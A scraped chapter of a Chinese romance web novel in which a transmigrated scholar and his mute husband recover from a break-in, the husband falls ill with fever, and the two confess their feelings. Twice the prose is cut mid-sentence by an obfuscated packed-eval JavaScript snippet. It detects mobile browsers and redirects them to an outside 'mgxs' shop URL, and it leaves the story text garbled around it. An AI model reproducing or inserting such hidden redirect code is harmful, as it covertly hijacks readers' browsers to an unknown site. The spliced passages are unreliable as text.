“明日雨停，你们跟我一道，押这厮去县衙受审！” 人抓了，东西也找回，见满院落汤鸡，里正挥手教众人散了。 “赶紧回家脱了湿衣裳暖暖身，别为此病了。” 村人很快散尽，常霄跟着里正儿子去捆人，还学了个挣不脱的绳结捆法，说是一种捆猪的结。 “这么打结，越拉越紧，多是宰猪前捆猪腿防跑脱的。” 捆好后给柴房门落了个大铁锁，沉甸甸一个，钥匙也极大，非是里正家，无人买得起这么沉的铁锁，估计也要几贯钱的。 而耿家院子大，都住在后院，任贼人吵吵嚷嚷，指天骂地，家里的孩子们也听不见。 见常霄似还忧心，耿大宽慰道：“放心好了，这不是我们兄弟几个第一次扭送贼人去县城，出不了差池。” 前面消停了，避在后面的媳妇夫郎也都出来，康誉端来水让他们几个洗手洗脸，顺便向常霄道：“意哥儿还在屋里，我们都出来了，劳他帮忙看下孩子。” 又道：“他瞧着挺好，只是到底受了惊吓，脸色不佳。” “先前听婶子说过，多谢嫂嫂看顾。” 见卫氏、徐氏经过，也一一见了礼。 徐氏不太自在，有些尴尬地还了礼。 卫氏温声道：“不算什么，听到村里进了贼，我们同样是吓坏了的，家里汉子全都走了，便护着孩子躲到一间屋里去，说是看顾，实际是互相照应，反要多谢你们夫夫两个，一个抓贼一个报信，皆有胆气，方得了好结果！” 几句说罢，常霄正待去后院接曾如意，里正出来寻他，执意留他们吃饭。 “兵荒马乱折腾一顿，何必再回去开火。正巧你还没见过元捷那孩子，你们两个都是书生郎，肯定有话说。” 不说还好，一说常霄是绝对不敢留了，他这半吊子实不能谈经论文。 听曾如意说那耿家小郎极是爱读书的，肯定是个认真性子，轻易糊弄不过去。 且有客上门，以耿家的体面，少不得宰鸡割肉，料理几个好酒菜，一家子都没少担惊受怕，何必累人忙一场。 于是以自己衣裳半干，形容狼狈，不是做客之道，加上曾如意受惊，自己挂心，想着早些接人回去休息的理由，道谢后推辞了。 里正想了想，没再强留，“那就改日，可说准了，下回不可不来。” 常霄笑着应了。 他在前院等了片刻，康誉挽着曾如意的胳膊出来，把人带到常霄面前打趣道。 “你夫郎我给你原样送回来了，你看看是不是一根头发丝都没少。” 常霄看去，见小哥儿手提一包袱，眼眶泛红，面唇泛白，鬓发微乱，看着确实不太好。 另外身上穿的是不认识的衣裳，估计是康誉给的。 曾如意闻言赧然，向康誉点头示意，又比划一番，大意是衣服洗净后再还，康誉摆手让他不必客气。 常霄等他走到身边，自然而然与他牵起手。 曾如意目光轻震，这在他们两人之间是第一次，可旁人只当他们新婚不过几月，果然还在恩爱时候。 再看康誉，确是在因此掩唇笑。 看曾如意耳朵快红得滴血了，方道：“快回去吧，好生歇歇。” 曲大娘子还在他们离开前，提了一捆晒干的艾草让拿走，说是洗头洗澡都用得上，能驱寒的。 艾草要在清明到端午之间采，今年已是赶不上了。 作别耿家，曾如意的注意力全然在被常霄牵住的右手上，贪恋起意外得来的片刻温存。 这么一打岔，连后怕的心情都淡去，脑袋发木，胸口发闷的感觉褪了许多。 常霄同样在后怕。 放在平常，牵手的事定是要前瞻后顾，深思熟虑，可刚刚那刻，再见到逃过一劫的曾如意时，他是半点也忍不住。 那副场景光是自己回想都会觉得后怕，何况小哥儿呢？ 被一个陌生的不怀好意的汉子从身后抱住，本身还口不能言，连呼救都做不到。 思及此处，常霄突然回忆起那道喑哑的，犹如困兽的声音。 怎么想也不该是伍老二发出的，不是伍老二，难不成是…… 他沉吟起来，脑海中转瞬掠过无数思绪，都跟曾如意有关。 想到小哥儿是因幼年亲眼目睹双亲身亡， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269268|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭了刺激，大病后失声，可见极有可能是心因性的，声带没有受损，慢慢引到着做康复练习，完全有可能再次说话。 或许只需要一个契机，不过都过去这么多年了，也该正经找个郎中看一看。 常霄不是学医的，不该妄加揣测。 思索得入神，一时忘了还牵着手，因这事上他也很不熟练，两度为人，头一回行事，万幸做生意惯了的人脸皮都比较厚，绝不会露出脸红的模样给人看穿。 而曾如意本以为离了可能被人看到的范围，常霄就会松手的，结果到了碾场，进了院中，分属两人的十根指头才分开，过程并不果决，反而有些依依不舍的意味。 常霄不愿让曾如意多看地上的狼藉，不动声色地迈过油纸伞与破陶碗，他浅拥着小哥儿进屋，把院中种种挡在身后。 “我瞧你脸色不好，定是累得很，只是头发不能不洗，一会儿我烧些热水，晚食你也不必管了，我来做。” 他三言两语安排好，曾如意露出不赞成的模样。 他无非受了惊，累在心里，真论起来那恶人不曾得逞，常霄来得及时，如天神而降，让他不由反复回想。 而常霄出门捉贼，不晓得跑了多少路，到现在还穿着湿衣裳。 【洗头不急】 【我……】 刚写一个字，就被常霄打断了。 “你素来爱洁，顶着湿头发估计早就难受得不行了。” 常霄坚持道：“你先洗，我再洗，正好你洗的时候我简单料理两样汤水，不是正好？” 见曾如意满脸不放心，他干咳一声道：“不必担心，我虽厨艺粗疏，倒也能把菜做熟……” 见曾如意又要写什么，他干脆不给人机会，把人轻轻朝床边推去。 “你我先把土床收拾出来。” 摆出用来接水的盆和锅已然满溢，好在是湿在比较靠边缘的地方，挪一挪不耽误睡觉。 尴尬的是，漏水的正好都在平日曾如意睡得那一头，现下雨是停了，却怕晚上再下。 届时外面下大雨里面下小雨，还正好滴在人身上，更加不妙。 常霄想也未想道：“今晚你我在一边睡吧。” 又把显而易见的缘由讲了一遍。 他是有意显得语气镇定的，可就是太镇定了，仿佛并不是什么大事。 曾如意应下，一时反倒心如乱麻。 常霄说要擦擦身子再换衣裳，很快抱着衣裳去灶屋烧热水了。 却不知屋内小哥儿重新摆了摆两只旧枕头，先是紧紧靠在一起，又默默分开一段距离。 他隔着衣襟摸了摸藏了发丝的荷包，想不清如何是好。 要写下来直接问吗？ 但写一行字与说一句话是不同的，一想到刚写一半就可能被猜出后话，或许还会就此被拒绝被否定，他就窘迫得无地自容。 他要不是哑巴就好了，辗转反侧的煎熬，仅需冲动出口的几个字就能终结。 亦或常霄若还是从前那个在县城与他初遇，新婚之夜满面冰霜，从骨子里透着漠然的书生郎常霄，他定也不会心动。 盲婚哑嫁罢了，本就从未奢望过与夫君之间有什么情意。 现下却是相处越久，想得越多，从而越难放下。 19.心意 常霄连烧几锅热水，先倒进桶里和盆子送去给曾如意。 小哥儿又问他要不要一起做晚食，他仍说不要。 “虽是手艺不佳，也该定时练一练，总不好顿顿都让你做。” 话是这么说，回到灶屋后，他转了好几圈，很为到底该做点什么吃的而犯愁。 纠结好半天，拿出今天卖货换来的吃食，有两个瓠子、两个鸡蛋、一把红苋菜。 瓠子和鸡蛋是加在一起换灯油的，红苋菜换了一根针。 进货花样再多，常卖的还是这些个最常用的。 他对着菜蛋琢磨一番后，选择做个瓠瓜鸡蛋汤，炒一个苋菜，再热一热早上曾如意蒸好的杂面炊饼。 用手加勺子艰难地将瓠瓜切块时，常霄发誓，仲秋庙会赚了钱，第一件事就是把菜刀买了，不仅做饭能用，赶上今天这等事还能防身，比镰刀轻便多了。 汤不难做，瓠瓜自带一股清甜味，放在夏日里，沾上爽口二次便难吃不到哪里去。 就是红苋菜炒得不算如意，陶锅不比铁锅，没法爆炒，叶子菜多汁水，到后面完全是软塌塌的一碗，加上汤汁是紫红色的，还把陶锅给染了。 常霄不由叹了又叹。 真是样样不趁手，要啥啥没有。 幸好算算日子，再过两天就该去程家取货，离仲秋并不远了。 纵然是没啥滋味的一顿饭，曾如意吃得很仔细，常霄问他好不好吃，他点头，问他是不是淡了，他摇头，惹得常霄展颜。 再看小哥儿刚沐完长发，为了晾干水汽不曾束起，披散在肩后，令人很难不多看两眼。 “以后若我在家歇着不出门，饭食就交给我吧，你要乐意，指点指点我，把我这个徒弟教出师，你岂不省事许多？” 曾如意实则不知常霄真的会做饭，对方说要去做晚食，他以为最多煮个粥再啃个炊饼，要知道天底下有几个男子是肯下厨做饭的，除非本身就是厨子。 幼时的记忆他记不清了，不知道爹爹是否通晓灶事，但他知道兄长不会，后来为了照顾幼弟，苦练了一点手艺，水平和常霄相差仿佛，做得最好的一道菜是白水煮蛋，能煮得火候刚刚好，蛋黄嫩嫩的，便是那岁数上不爱吃白水蛋的小哥儿也肯吃下一个。 因他生在不缺吃穿的家庭，昔日从不以为鸡蛋是什么值钱东西，还有挑嘴的余地。 这么想来，他倒是有福气的，撇去在大伯家寄居的时日不谈，幼时与兄长，现下与常霄，都不是甩手掌柜，愿做家事，弯腰洗手作羹汤。 且眼前的不单要做，还想学着做得更好。 曾如意不禁顺着常霄的话想深了些，不论其它，起码听着话里的意思，他们还是有很长的“以后”的。 饭后收拾了碗筷，换常霄洗头。 这堪称穿越以来他最讨厌的事情之一，长发难驯，偏不能一刀斩断。 好不容易洗去了皂角打出的沫子，他徒手拧了几下，把水泼掉，回身时看见曾如意早已准备好了干布巾，要帮他绞头发。 常霄被他按在凳子上，时而听闻到淅淅沥沥的滴水声。 绞发是个枯燥的活计，还累人，一顿忙下来定要手酸腕痛。 他尚没有能帮曾如意的机会，因为小哥儿往往都趁着白日在家时自己洗了，等他回来时往往都干得七七八八。 一个耐心地坐着，一个耐心地擦着，没多久就各自打起哈欠来，实在是算算时辰，常霄午睡起来时就已近乎酉时，吃晚食时天都黑透了，屋里油灯点燃多时，如豆火光照亮方寸，觉得擦得差不多了，常霄止了曾如意的动作。 “剩下我自己来，你歇着。” 说罢就起身走到门边上去，把布巾罩在头顶和发丝一顿揉搓。 布巾不甚吸水，折腾几遍，摸着颇有些干爽了，他松口气，把布巾丢进水盆里。 曾如意递给他梳子，常霄随意地摆摆手，用手指胡乱通了通，把扯下来的头发团成团丢了。 过后借着剩下的灯油迅速盘了盘今天的账目，清点了铜板，照样分出给曾如意作家用的部分，剩下丢回原处，宣布道：“洗漱，睡觉！” 曾如意率先洗漱完，爬上床，按着常霄的安排睡在里侧。 下了一天的雨，身下干草和身上的芦花被都潮乎乎的，并不太舒服。 另一边常霄吹灭油灯，放轻动作上来，缓缓躺下，果然盖上被子后第一句话就是：“不知何日放晴，这被子该好生晒一晒了。” 曾如意动了动，落在常霄耳里则是干草被压到时的窸窣声。 他侧过脸看去，距离太近，即使灭了灯火，也能借由一两月光看清些微轮廓，顺便发现曾如意的被口翘着，心想秋雨之夜寒凉，随手掖紧。 “早些睡吧，一觉醒来，又是新的一日。” 曾如意深知常霄是委婉地宽慰自己，睡一觉就忘了今天不愉快的事，他点了点头。 从同床到同侧，一字之差，变化却很大。 另一人的呼吸近在咫尺，想忽视都难。 常霄令自己想些不相干的事转移注意，比如等去采芦花的时候，还要多采些，不仅要做夹袄冬鞋，还需多制两条床褥。 又听闻时下也有用禽毛做被的，肯定比不得丝绵，但不知会不会比芦花被暖和些。 要是能胜过芦花被，哪怕被鸡毛鸭毛味环绕也认了。 他东想西想，还分出心思记挂着曾如意，怕他今晚难以安睡。 …… 子夜时分。 常霄在浅眠之中蹙着眉头，睡得不多安稳，听见身侧有动静，很快醒来查看，发现是曾如意慢吞吞地起身要下床。 他以为小哥儿要如厕，没有出声，继续闭眼装睡，过了一会儿，听见杯盏碰撞的声音，才知曾如意是去找水喝。 桌上的陶壶里有晚间剩的水，肯定早就凉透了，夏日就算了，现下晚上有些微冷，喝了说不准要肚子疼。 又想到从前曾如意从没有半夜起来喝水的习惯，今天是怎的了？ 还没来得及劝，曾如意已经捧着碗喝了几大口，回来时紧紧裹起被子，整个人都蜷成一团，大约是怕冷。 冷还半夜喝凉水！ 常霄深知曾如意不是会这么行事的，一向在饮食上很注意，自己每天外出归家，汗出如浆，喝到的都是加了盐的温水，小哥儿还特地跟他讲，这样比直接喝凉水更解渴。 他觉得有些不对，一个翻身去探曾如意的情况。 “如意？” 常霄轻唤。 曾如意大半张脸都埋在被子里，却没第一时间抬头回应。 按理说他刚刚才下了床，肯定还没睡熟。 常霄更觉不妙，他顾不得两人之间那相敬如宾的“默契”，直接伸手去摸小哥儿额头。 掌心滚烫。 怪不得突然去找水喝，是因发热而口干舌燥，只是这样治标不治本，喝完只会更不舒服，肚子里是凉的，口鼻呼出的气是烫的，但周身又能冷得发抖。 这可是随便一次风寒就能要人命的时候，常霄紧张得很，他掀被起身，找到火石点亮油灯，并拉过木桌，靠在床边，这般能照得更近。 曾如意难受得紧，很是后悔刚刚稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273458|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里糊涂地下床，本以为只是单纯的口渴，回来后才知可能是生了病。 闭着的眼皮仿若被人点了两簇火苗，灼得他眼珠子都好似要化了。 常霄又唤几声，总算唤得他睁眼。 再问几句话，好在都有回应，还能比口型，在常霄伸出去的掌心上写字，只是力道很轻，笔画飘忽。 他强调一遍。 “你起了热，该是淋雨惹的，我去给你煮一碗姜汤，你喝了发发汗，看管不管用。” 接着挪了曾如意到自己睡的床外沿，把两条被子都盖在他身上。 “你要是难受想吐，就往地上吐，我再收拾就是。” 没有温度计，也估不出体温，常霄用额头试了试，觉得当是没到高烧的程度。 曾如意则一味傻傻地半睁着眼，看常霄凑近，鼻尖都要相贴，随即又倏地离开了。 他忽然很不想让常霄就这么走掉。 凭空生出的勇气促使他伸手捉住了常霄的衣袖，常霄被他扯住动弹不得，神情愕然。 在他的角度看来，小哥儿烧得两眼通红，像是哭过一场。 孤家寡人的日子过惯了，他实则没什么照料病人的经验，连熬姜汤都是急中生智想出来的，现下又被拽得紧，一时无措。 “是还有哪里不舒服……” 他俯身而下，想看得更仔细，怎料就在这一瞬，曾如意松了他的袖子，取而代之的是张开双臂，努力把常霄抱住了。 常霄彻底愣了。 他诧异着，也顾及曾如意在病中力虚气短，现下这动作还是仰起上半身才做成的。 于是顺着他的动作往下倾去，再去看小哥儿眉眼，竟已是泪光满溢，泪珠一粒接一粒地往下滚落，因人是平躺的，就这么胡乱朝四周流淌开去，环着他的胳膊一个劲发抖。 好端端的，怎么哭成这样。 常霄疑他是病中脆弱，加上白日惊惧，兴许还做了什么不好的梦，人在暗夜里更是容易胡思乱想的，种种连同过往受的委屈共同爆发，偏又口不能言，连大喊大叫发泄一场也不能。 能做的只有无声无息地落泪恸哭。 此情此景，常霄深觉心口酸涩难言。 他对曾如意是有情意的，曾如意对自己当也如是。 说是日久生情也好，并不丢人，往日的关心，今日的牵手…… 累积至此，兴许便是契机到了。 就如小哥儿的泪，情之一字同样是无处可藏。 常霄选择从心而为，他抬起手用手背拂过小哥儿湿润的面颊，想到什么就说什么。 “痛痛快快哭一场也好，你是能在心里藏事的性子，时间久了反而伤身。” 又决心道：“你我幸而结为夫夫，便是既定缘分，今后有我陪你，再不受屈，皆是坦途。” 字字句句，指向分明，没有任何误解的余地。 这下错愕的人变成了曾如意，他顶着一张哭得乱七八糟的脸，用力吸鼻子，看似风吹便碎，实际紧紧盯着常霄，像是要确认什么。 常霄看他这副模样，笑着宽慰。 “这哭着哭着，竟也出了一头的汗……” 他试着把小哥儿的胳膊塞回被子里，“别着了凉，回头烧得更厉害了。” 在此之前他不知曾如意还有点犟脾气在身，分明病着，双臂居然推都推不动。 常霄无奈，也知不好和糊里糊涂的病号讲道理，正要尝试哄上两句—— 后颈一沉，他居然被曾如意拉得更近了。 下一刻，因高热而炽热发烫的唇瓣狠狠压了过来。